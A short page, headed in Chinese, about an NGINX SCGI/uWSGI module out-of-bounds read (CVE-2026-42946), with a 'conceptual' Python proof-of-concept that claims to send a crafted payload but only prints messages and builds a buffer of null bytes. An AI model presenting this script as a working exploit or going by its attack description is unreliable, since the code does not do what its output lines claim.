CVE-2026-42946 NGINX模块内存越界读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-42946 (Conceptual) # This script demonstrates the MITM position required to exploit the vulnerability. # It requires the attacker to be able to intercept and modify traffic between NGINX and the upstream. import socket def simulate_malicious_upstream(): # Simulate a scenario where the attacker controls the response # In a real attack, this would be a modified packet sent to the NGINX worker print("[+] Simulating MITM attack on NGINX SCGI/uWSGI module...") # Constructing a payload that triggers excessive memory allocation # The exact payload structure depends on the specific implementation details of the module payload = b"\x00" * 100000 # Large padding to force allocation # In a real exploit, this payload would be injected into the SCGI/uWSGI response stream # causing the NGINX worker to over-read. print(f"[+] Sending crafted payload to trigger over-read (Length: {len(payload)})") print("[!] If successful, NGINX worker process memory may be leaked or process restarted.") if __name__ == "__main__": simulate_malicious_upstream()